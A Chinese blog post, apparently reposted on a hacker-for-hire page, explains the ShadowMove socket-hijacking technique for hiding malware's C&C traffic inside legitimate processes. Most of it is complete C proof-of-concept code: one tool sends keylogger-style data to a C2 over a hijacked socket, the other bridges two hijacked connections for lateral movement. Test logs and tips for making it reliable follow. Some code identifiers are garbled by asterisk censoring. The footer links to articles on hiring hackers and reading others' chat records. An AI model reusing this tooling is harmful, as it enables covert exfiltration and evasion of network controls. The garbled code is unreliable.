ShadowMove套接字劫持技术,巧妙隐藏与C2的连接

访客3年前关于黑客接单1154

概述

在这篇文章中,我们将跟大家介绍如何使用ShadowMove技术在合法程序的 *** 连接中隐藏自己的恶意链接。我们将展示两个使用ShadowMove技术的PoC,并隐藏我们的恶意软件所建立的连接。之一种 *** 是完全可靠的,但是第二种 *** 有自己的问题,如果你要在实际操作中使用它,就必须解决这些问题,我们将在文章的最后讨论这些问题。

ShadowMove介绍

ShadowMove是一种从non-cooperative进程中劫持Socket的新技术,发布于2020年USENIX大会上的一篇标题为《ShadowMove: A Stealthy Lateral Movement Strategy》的文章首次讨论了这一技术。这种技术利用了以下事实:AFD(辅助函数驱动程序)文件句柄被Windows API视为Socket句柄,因此可以使用WSADuplicateSocket()函数来复制它们。

从non-cooperative进程劫持Socket的一种常见模式,是从进程注入开始的,以便加载我们自己的逻辑来查找和复用目标Socket。但是在ShadowMove技术的帮助下,我们完全不需要注入任何东西:它只需要打开具有PROCESS_DUP_HANDLE权限的进程句柄。

在这个句柄的帮助下,我们可以开始复制所有其他的文件句柄,直到找到名为\Device\Afd的文件句柄,然后使用getpeername()检查它是否属于与目标的连接。

为什么这项技术对于红队来说非常有意思?

在我们最近的一次红队评估过程中,我们不得不在目标设备中安装我们的键盘记录器,但是它会屏蔽任何由非白名单二进制文件建立的任何连接。为了避免这个问题,我们需要向一个允许向外建立连接的进程中注入我们的键盘记录器。但是在ShadowMove技术的帮助下,我们可以避免任何可能由注入产生的噪声(没错,我们可以使用其他 *** 来绕过EDR,但到目前为止,这种 *** 更干净)。

在合法进程中隐藏到C&C的连接

假设我们有一个键盘记录程序,我们想使用ShadowMove将截获的密钥发送到我们的C&C。每当我们必须发送一批密钥时,我们需要运行一个合法的程序并尝试连接到我们的C&C,比如说mssql客户端。当建立连接之后,我们必须使用键盘记录器来劫持连接。当然,在企业环境中,我们还需要通过企业 *** 来设置连接,而不是直接连接到C&C,但是让我们暂时忘记这一点。

ShadowMove技术的实现步骤如下:

  • 使用PROCESS_DUP_HANDLE权限打开所有者进程;

  • 每一个句柄为0x24(文件)类型;

  • 复制句柄;

  • 检索句柄名称;

  • 如果名称不是\device\afd,则跳过;

  • 获取远程IP和远程端口号;

  • 如果远程IP和端口与输入参数不匹配,则跳过;

  • 调用WSADuplicateSocketW以获取特殊的WSAPROTOCOL_INFO结构;

  • 创建重复的Socket;

  • 使用这个Socket;

为此,我们创建了一个名为“ShadowMove Gateway”的PoC。基本上,我们只需要提供进程PID和我们C&C的IP地址即可:

/

/ PoC of ShadowMove Gateway by Juan Manuel Fernández (@TheXC3LL)

?

#define _WINSOCK_DEPRECATED_NO_WARNINGS

#include <winsock2.h>

#include <Windows.h>

#include <stdio.h>

?

#pragma comment(lib,"WS2_32")

?

// Most of the code is adapted from https://github.com/Zer0Mem0ry/WindowsNT-Handle-Scanner/blob/master/FindHandles/main.cpp

#define STATUS_INFO_LENGTH_MI *** ATCH 0xc0000004

#define SystemHandleInformation 16

#define ObjectNameInformation 1

?

?

?

typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(

ULONG SystemInformationClass,

PVOID SystemInformation,

ULONG SystemInformationLength,

PULONG ReturnLength

);

typedef NTSTATUS(NTAPI* _NtDuplicateObject)(

HANDLE SourceProcessHandle,

HANDLE SourceHandle,

HANDLE TargetProcessHandle,

PHANDLE TargetHandle,

ACCESS_MASK DesiredAccess,

ULONG Attributes,

ULONG Options

);

typedef NTSTATUS(NTAPI* _NtQueryObject)(

HANDLE ObjectHandle,

ULONG ObjectInformationClass,

PVOID ObjectInformation,

ULONG ObjectInformationLength,

PULONG ReturnLength

);

?

typedef struct _SYSTEM_HANDLE

{

ULONG ProcessId;

BYTE ObjectTypeNumber;

BYTE Flags;

USHORT Handle;

PVOID Object;

ACCESS_MASK GrantedAccess;

} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

?

typedef struct _SYSTEM_HANDLE_INFORMATION

{

ULONG HandleCount;

SYSTEM_HANDLE Handles[1];

} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

?

typedef struct _UNICODE_STRING

{

USHORT Length;

USHORT MaximumLength;

PWSTR Buffer;

} UNICODE_STRING, * PUNICODE_STRING;

?

?

typedef enum _POOL_TYPE

{

NonPagedPool,

PagedPool,

NonPagedPoolMustSucceed,

DontUseThisType,

NonPagedPoolCacheAligned,

PagedPoolCacheAligned,

NonPagedPoolCacheAlignedMustS

} POOL_TYPE, * PPOOL_TYPE;

?

typedef struct _OBJECT_NAME_INFORMATION

{

UNICODE_STRING Name;

} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION;

?

PVOID GetLibraryProcAddress(PSTR LibraryName, PSTR ProcName)

{

return GetProcAddress(GetModuleHandleA(LibraryName), ProcName);

}

?

?

?

SOCKET findTargetSocket(DWORD dwProcessId, LPSTR dstIP) {

HANDLE hProc;

PSYSTEM_HANDLE_INFORMATION handleInfo;

DWORD handleInfoSize=0x10000;

NTSTATUS status;

DWORD returnLength;

WSAPROTOCOL_INFOW wsaProtocolInfo={ 0 };

SOCKET targetSocket;

?

// Open target process with PROCESS_DUP_HANDLE rights

hProc=OpenProcess(PROCESS_DUP_HANDLE, FALSE, dwProcessId);

if (!hProc) {

printf("[!] Error: could not open the process!
");

exit(-1);

}

printf("[+] Handle to process obtained!
");

?

// Find the functions

_NtQuerySystemInformation NtQuerySystemInformation=(_NtQuerySystemInformation)GetLibraryProcAddress("ntdll.dll", "NtQuerySystemInformation");

_NtDuplicateObject NtDuplicateObject=(_NtDuplicateObject)GetLibraryProcAddress("ntdll.dll", "NtDuplicateObject");

_NtQueryObject NtQueryObject=(_NtQueryObject)GetLibraryProcAddress("ntdll.dll", "NtQueryObject");

?

// Retrieve handles from the target process

handleInfo=(PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);

while ((status=NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL))==STATUS_INFO_LENGTH_MI *** ATCH)

handleInfo=(PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *=2);

?

printf("[+] Found [%d] handlers in PID %d
============================
", handleInfo->HandleCount, dwProcessId);

?

// Iterate

for (DWORD i=0; i < handleInfo->HandleCount; i++) {

?

// Check if it is the desired type of handle

if (handleInfo->Handles[i].ObjectTypeNumber==0x24) {

?

SYSTEM_HANDLE handle=handleInfo->Handles[i];

HANDLE dupHandle=NULL;

POBJECT_NAME_INFORMATION objectNameInfo;

?

// Dupplicate handle

NtDuplicateObject(hProc, (HANDLE)handle.Handle, GetCurrentProcess(), &dupHandle, PROCESS_ALL_ACCESS, FALSE, DUPLICATE_SAME_ACCESS);

objectNameInfo=(POBJECT_NAME_INFORMATION)malloc(0x1000);

?

// Get handle info

NtQueryObject(dupHandle, ObjectNameInformation, objectNameInfo, 0x1000, &returnLength);

?

// Narrow the search checking if the name length is correct (len(\Device\Afd)==11 * 2)

if (objectNameInfo->Name.Length==22) {

printf("[-] Testing %d of %d
", i, handleInfo->HandleCount);

?

// Check if it ends in "Afd"

LPWSTR needle=(LPWSTR)malloc(8);

memcpy(needle, objectNameInfo->Name.Buffer + 8, 6);

if (needle[0]=='A' && needle[1]=='f' && needle[2]=='d') {

?

// We got a candidate

printf("	[*] \\Device\\Afd found at %d!
", i);

?

// Try to duplicate the socket

status=WSADuplicateSocketW((SOCKET)dupHandle, GetCurrentProcessId(), &wsaProtocolInfo);

if (status !=0) {

printf("		[X] Error duplicating socket!
");

free(needle);

free(objectNameInfo);

CloseHandle(dupHandle);

continue;

}

?

// We got it?

targetSocket=WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, &wsaProtocolInfo, 0, WSA_FLAG_OVERLAPPED);

if (targetSocket !=INVALID_SOCKET) {

struct sockaddr_in sockaddr;

DWORD len;

len=sizeof(SOCKADDR_IN);

?

// It this the socket?

if (getpeername(targetSocket, (SOCKADDR*)&sockaddr, &len)==0) {

if (strcmp(inet_ntoa(sockaddr.sin_addr), dstIP)==0) {

printf("	[*] Duplicated socket (%s)
", inet_ntoa(sockaddr.sin_addr));

free(needle);

free(objectNameInfo);

return targetSocket;

}

}

?

}

?

free(needle);

}

?

}

free(objectNameInfo);

?

}

}

?

return 0;

}

?

?

int main(int argc, char** argv) {

WORD wVersionRequested;

WSADATA wsaData;

DWORD dwProcessId;

LPWSTR dstIP=NULL;

SOCKET targetSocket;

char buff[255]={ 0 };

?

printf("			-=[ ShadowMove Gateway PoC ]=-

");

?

//  *** gateway.exe [PID] [IP dst]



if (argc !=3) {

printf("[!] Error: syntax is %s [PID] [IP dst]
", argv[0]);

exit(-1);

}

dwProcessId=strtoul(argv[1], NULL, 10);

dstIP=(LPSTR)malloc(strlen(argv[2]) * (char) + 1);

memcpy(dstIP, argv[2], strlen(dstIP));

?

?

// Classic

wVersionRequested=MAKEWORD(2, 2);

WSAStartup(wVersionRequested, &wsaData);

?

targetSocket=findTargetSocket(dwProcessId, dstIP);

send(targetSocket, "Hello From the other side!
", strlen("Hello From the other side!
"), 0);

recv(targetSocket, buff, 255, 0);

printf("
[*] Message from outside:

 %s
", buff);

return 0;

}

在这里,我们只需要从受感染设备发送一条“Hello from the other side!”消息给C&C服务器,然后C&C服务器就会返回一条“Stay hydrated!”给受感染设备。

两台设备之间的通信“桥梁”

我们刚刚看到了如何使用ShadowMove将程序转换为本地植入的 *** ,但同样的 *** 也可以用于两台机器之间的通信。设想一个场景,我们有三台机器:A <--> B <--> C。如果我们想从A访问C的公开服务,那么我们必须在B中转发流量(使用netsh或 *** )。当然了,我们也可以使用ShadowMove技术来实现这个目标。

我们只需要在B中执行两个合法程序:一个连接到A中的一个开放端口,另一个连接到C中的目标服务,然后劫持这两个Socket并桥接它们。

注意:假设我们想从A执行ldapsearch,而域控制器位于C。那么在A中,我们需要一个脚本来暴露这两个端口,一个从ldapsearch(A')接收连接,另一个从B(A'')接收连接。因此,在A'中接收的所有内容都被发送到A'(通过B连接),然后我们的网桥将所有内容转发到B和C之间的连接。

在B中执行的代码与我们以前使用的几乎相同:

// PoC of ShadowMove Pivot by Juan Manuel Fernández (@TheXC3LL)

?

#define _WINSOCK_DEPRECATED_NO_WARNINGS

#include <winsock2.h>

#include <Windows.h>

#include <stdio.h>

?

#pragma comment(lib,"WS2_32")

?

// Most of the code is adapted from https://github.com/Zer0Mem0ry/WindowsNT-Handle-Scanner/blob/master/FindHandles/main.cpp

#define STATUS_INFO_LENGTH_MI *** ATCH 0xc0000004

#define SystemHandleInformation 16

#define ObjectNameInformation 1

#define MSG_END_OF_TRAN *** ISSION "\x31\x41\x59\x26\x53\x58\x97\x93\x23\x84"

#define BUFSIZE 65536

?

typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(

ULONG SystemInformationClass,

PVOID SystemInformation,

ULONG SystemInformationLength,

PULONG ReturnLength

);

typedef NTSTATUS(NTAPI* _NtDuplicateObject)(

HANDLE SourceProcessHandle,

HANDLE SourceHandle,

HANDLE TargetProcessHandle,

PHANDLE TargetHandle,

ACCESS_MASK DesiredAccess,

ULONG Attributes,

ULONG Options

);

typedef NTSTATUS(NTAPI* _NtQueryObject)(

HANDLE ObjectHandle,

ULONG ObjectInformationClass,

PVOID ObjectInformation,

ULONG ObjectInformationLength,

PULONG ReturnLength

);

?

typedef struct _SYSTEM_HANDLE

{

ULONG ProcessId;

BYTE ObjectTypeNumber;

BYTE Flags;

USHORT Handle;

PVOID Object;

ACCESS_MASK GrantedAccess;

} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

?

typedef struct _SYSTEM_HANDLE_INFORMATION

{

ULONG HandleCount;

SYSTEM_HANDLE Handles[1];

} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

?

typedef struct _UNICODE_STRING

{

USHORT Length;

USHORT MaximumLength;

PWSTR Buffer;

} UNICODE_STRING, * PUNICODE_STRING;

?

?

typedef enum _POOL_TYPE

{

NonPagedPool,

PagedPool,

NonPagedPoolMustSucceed,

DontUseThisType,

NonPagedPoolCacheAligned,

PagedPoolCacheAligned,

NonPagedPoolCacheAlignedMustS

} POOL_TYPE, * PPOOL_TYPE;

?

typedef struct _OBJECT_NAME_INFORMATION

{

UNICODE_STRING Name;

} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION;

?

PVOID GetLibraryProcAddress(PSTR LibraryName, PSTR ProcName)

{

return GetProcAddress(GetModuleHandleA(LibraryName), ProcName);

}

?

?

?

SOCKET findTargetSocket(DWORD dwProcessId, LPSTR dstIP) {

HANDLE hProc;

PSYSTEM_HANDLE_INFORMATION handleInfo;

DWORD handleInfoSize=0x10000;

NTSTATUS status;

DWORD returnLength;

WSAPROTOCOL_INFOW wsaProtocolInfo={ 0 };

SOCKET targetSocket;

?

// Open target process with PROCESS_DUP_HANDLE rights

hProc=OpenProcess(PROCESS_DUP_HANDLE, FALSE, dwProcessId);

if (!hProc) {

printf("[!] Error: could not open the process!
");

exit(-1);

}

printf("[+] Handle to process obtained!
");

?

// Find the functions

_NtQuerySystemInformation NtQuerySystemInformation=(_NtQuerySystemInformation)GetLibraryProcAddress("ntdll.dll", "NtQuerySystemInformation");

_NtDuplicateObject NtDuplicateObject=(_NtDuplicateObject)GetLibraryProcAddress("ntdll.dll", "NtDuplicateObject");

_NtQueryObject NtQueryObject=(_NtQueryObject)GetLibraryProcAddress("ntdll.dll", "NtQueryObject");

?

// Retrieve handles from the target process

handleInfo=(PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);

while ((status=NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL))==STATUS_INFO_LENGTH_MI *** ATCH)

handleInfo=(PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *=2);

?

printf("[+] Found [%d] handlers in PID %d
============================
", handleInfo->HandleCount, dwProcessId);

?

// Iterate

for (DWORD i=0; i < handleInfo->HandleCount; i++) {

?

// Check if it is the desired type of handle

if (handleInfo->Handles[i].ObjectTypeNumber==0x24) {

?

SYSTEM_HANDLE handle=handleInfo->Handles[i];

HANDLE dupHandle=NULL;

POBJECT_NAME_INFORMATION objectNameInfo;

?

// Dupplicate handle

NtDuplicateObject(hProc, (HANDLE)handle.Handle, GetCurrentProcess(), &dupHandle, PROCESS_ALL_ACCESS, FALSE, DUPLICATE_SAME_ACCESS);

objectNameInfo=(POBJECT_NAME_INFORMATION)malloc(0x1000);

?

// Get handle info

NtQueryObject(dupHandle, ObjectNameInformation, objectNameInfo, 0x1000, &returnLength);

?

// Narrow the search checking if the name length is correct (len(\Device\Afd)==11 * 2)

if (objectNameInfo->Name.Length==22) {

printf("[-] Testing %d of %d
", i, handleInfo->HandleCount);

?

// Check if it ends in "Afd"

LPWSTR needle=(LPWSTR)malloc(8);

memcpy(needle, objectNameInfo->Name.Buffer + 8, 6);

if (needle[0]=='A' && needle[1]=='f' && needle[2]=='d') {

?

// We got a candidate

printf("	[*] \\Device\\Afd found at %d!
", i);

?

// Try to duplicate the socket

status=WSADuplicateSocketW((SOCKET)dupHandle, GetCurrentProcessId(), &wsaProtocolInfo);

if (status !=0) {

printf("		[X] Error duplicating socket!
");

free(needle);

free(objectNameInfo);

CloseHandle(dupHandle);

continue;

}

?

// We got it?

targetSocket=WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, &wsaProtocolInfo, 0, WSA_FLAG_OVERLAPPED);

if (targetSocket !=INVALID_SOCKET) {

struct sockaddr_in sockaddr;

DWORD len;

len=sizeof(SOCKADDR_IN);

?

// It this the socket?

if (getpeername(targetSocket, (SOCKADDR*)&sockaddr, &len)==0) {

if (strcmp(inet_ntoa(sockaddr.sin_addr), dstIP)==0) {

printf("	[*] Duplicated socket (%s)
", inet_ntoa(sockaddr.sin_addr));

free(needle);

free(objectNameInfo);

return targetSocket;

}

}

?

}

?

free(needle);

}

?

}

free(objectNameInfo);

?

}

}

?

return 0;

}

?

// Reused from MSSQLPROXY https://github.com/blackarrowsec/mssqlproxy/blob/master/reciclador/reciclador.cpp

void bridge(SOCKET fd0, SOCKET fd1)

{

int maxfd, ret;

fd_set rd_set;

size_t nread;

char buffer_r[BUFSIZE];

maxfd=(fd0 > fd1) ? fd0 : fd1;

while (1) {

FD_ZERO(&rd_set);

FD_SET(fd0, &rd_set);

FD_SET(fd1, &rd_set);

ret=select(maxfd + 1, &rd_set, NULL, NULL, NULL);

if (ret < 0 && errno==EINTR) {

continue;

}

if (FD_ISSET(fd0, &rd_set)) {

nread=recv(fd0, buffer_r, BUFSIZE, 0);

if (nread <=0)

break;

send(fd1, buffer_r, nread, 0);

}

if (FD_ISSET(fd1, &rd_set)) {

nread=recv(fd1, buffer_r, BUFSIZE, 0);

?

if (nread <=0)

break;

?

// End of tran *** ission

if (nread >=strlen(MSG_END_OF_TRAN *** ISSION) && strstr(buffer_r, MSG_END_OF_TRAN *** ISSION) !=NULL) {

send(fd0, buffer_r, nread - strlen(MSG_END_OF_TRAN *** ISSION), 0);

break;

}

?

send(fd0, buffer_r, nread, 0);

}

}

}

?

?

int main(int argc, char** argv) {

WORD wVersionRequested;

WSADATA wsaData;

DWORD dwProcessIdSrc;

WORD dwProcessIdDst;

LPSTR dstIP=NULL;

LPSTR srcIP=NULL;

SOCKET srcSocket;

SOCKET dstSocket;

?

printf("			-=[ ShadowMove Pivot PoC ]=-

");

?

//  *** pivot.exe [PID src] [PID dst] [IP dst] [IP src]



if (argc !=5) {

printf("[!] Error: syntax is %s [PID src] [PID dst] [IP src] [IP dst]
", argv[0]);

exit(-1);

}

dwProcessIdSrc=strtoul(argv[1], NULL, 10);

dwProcessIdDst=strtoul(argv[2], NULL, 10);

?

dstIP=(LPSTR)malloc(strlen(argv[4]) * (char) + 1);

memcpy(dstIP, argv[3], strlen(dstIP));

srcIP=(LPSTR)malloc(strlen(argv[3]) * (char) + 1);

memcpy(srcIP, argv[4], strlen(srcIP));

?

// Classic

wVersionRequested=MAKEWORD(2, 2);

WSAStartup(wVersionRequested, &wsaData);

?

srcSocket=findTargetSocket(dwProcessIdSrc, srcIP);

?

dstSocket=findTargetSocket(dwProcessIdDst, dstIP);

if (srcSocket==0) {

printf("
[!] Error: could not attach to source socket");

return -1;

}

printf("
[<] Attached to SOURCE
");

if (dstSocket==0) {

printf("
[!] Error: could not attach to sink socket");

return -1;

}

printf("[>] Attached to SINK
");

printf("============================
[Link up]
============================
");

bridge(srcSocket, dstSocket);

printf("============================
[Link down]
============================
");

return 0;

}

我们可以通过连接两个监听的netcat来进行测试,其中一个为10.0.2.2,另一个为10.0.2.15:

-=[ ShadowMove Pivot PoC ]=-

?

[+] Handle to process obtained!

[+] Found [66919] handlers in PID 5364============================[-] Testing 3779 of 66919

[-] Testing 10254 of 66919

[*] \Device\Afd found at 10254!

[*] Duplicated socket (10.0.2.15)

[+] Handle to process obtained!

[+] Found [67202] handlers in PID 7596============================[-] Testing 3767 of 67202

[-] Testing 10240 of 67202

[*] \Device\Afd found at 10240!

[*] Duplicated socket (10.0.2.2)

?

[<] Attached to SOURCE

[>] Attached to SINK============================[Link up]============================In one of our ends:

?

psyconauta@insulanova:~/Research/shadowmove|? ?nc -lvp 8081

Listening on [0.0.0.0] (family 0, port 8081)

Connection from localhost 59596 received!

Hello from 10.0.2.15!

This is me from 10.0.2.2!

问题与解决方案

数据冲突

我们在使用复制的Socket时,原始的程序还会持续进行数据读取。这也就意味着,如果程序代替我们读取某些字节,它们可能会丢失,但如果我们实现了一个处理丢失数据包的自定义协议,则可以很容易地解决这一问题。

超时

如果在劫持Socket之前,连接因超时而关闭的话,我们就不能复用目标Socket了。

旧的句柄

根据所使用的程序,可能会找到满足我们条件的旧句柄(getpeername返回目标IP,但句柄不能使用)。如果之一次连接尝试失败,可能会发生这种情况。要解决这个问题,只需改进检测 *** 。

相关文章

转账接单平台(怎么接转单)

转账接单平台(怎么接转单)

本文导读目录: 1、正规接单赚佣金的平台有哪些? 2、刷单平台都是哪里找的 3、网上接单都是有哪些网站? 4、销合通转账是什么平台? 5、有免费的接单平台吗?求推荐 正规接单赚佣金的...

网站SEO最新优化方法,7个网站SEO的核心技巧

网站SEO最新优化方法,7个网站SEO的核心技巧

如果你是一个企业主,你有建立企业官方网站的经历,在2-3年的运营过程中,我相信你至少做过一次网站改版,甚至是SEO策略的大调整。 理由非常简单:当我们刚开始建立公司的时候,很多时间都是认为只要自己有...

网上有人说可以查到某个微信号的全部聊天记录

很多妈妈对待食材的保存方法就是放到冰箱里面就行了,不够宝宝喝的奶粉可以放到冰箱里面吗,宝宝的奶粉放冰箱里面好保存吗,友谊长存小编就来说说吧。 宝宝的奶粉可以放冰箱吗? 千万不要哦! 很多妈妈觉得...

查找删除的微信记录

1、首先,打开微信登录的界面,再点击右上角外带圈的加号按钮,在弹出的下拉菜单中点击添加朋友。2、然后,在添加朋友。 怎么查询微信已删除聊天记录? 微信备份的聊天记录怎么查看?随着时代的进步,大家更换新...

《心灵奇旅》破3亿发海报庆贺!能否成为皮克斯

上映32天之后,迪士尼/皮克斯动画新作《心灵奇旅》,在中国内地票房已破3亿人民币! 片方今日发布了票房破3亿的庆贺海报,22(蒂娜·菲配音)、杰瑞们和胖猫猫齐现身。上...

Qq邮箱被黑客攻击怎么办,网络游戏提款难找黑客,电脑被黑客入侵修改开机密码

self.python_version = int(str(entry.name)[6:8])在曩昔的几年里,当局现已开端在冲击暗网中的网络违法活动了,其间包含优待儿童、违禁药品买卖、兵器出售、数据出...